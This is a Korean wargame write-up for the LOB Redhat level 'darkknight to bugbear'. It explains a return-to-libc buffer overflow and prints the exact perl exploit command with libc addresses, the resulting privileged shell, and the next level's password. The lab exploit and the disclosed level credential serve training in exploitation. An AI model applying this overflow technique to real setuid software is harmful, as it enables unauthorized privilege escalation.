본문 바로가기

wargame/LOB Redhat

darkknight to bugbear

소스를 보면 처음에 주석에 친절히 RTL이라 적혀잇고,

문제에서 ret 시작주소가 bf 되면 안된다.

 

그러므로 ret2libc공격을 사용해서 쉽게 공략 하겟다.

 

 

[payload]

["x"*44][&system]["aaaa"][&"/bin/sh"]

 

 

 

공격

 

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "x"x44,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40";'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?@aaaa@

bash$ id

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

bash$ my-pass

euid = 513

new divide

'wargame > LOB Redhat' 카테고리의 다른 글

giant to assasin  (0) 2014.05.27
bugbear to giant  (0) 2014.05.27
golem to darkknight  (0) 2014.05.27
skeleton to golem  (0) 2014.05.27
vampire to skeleton  (0) 2014.05.27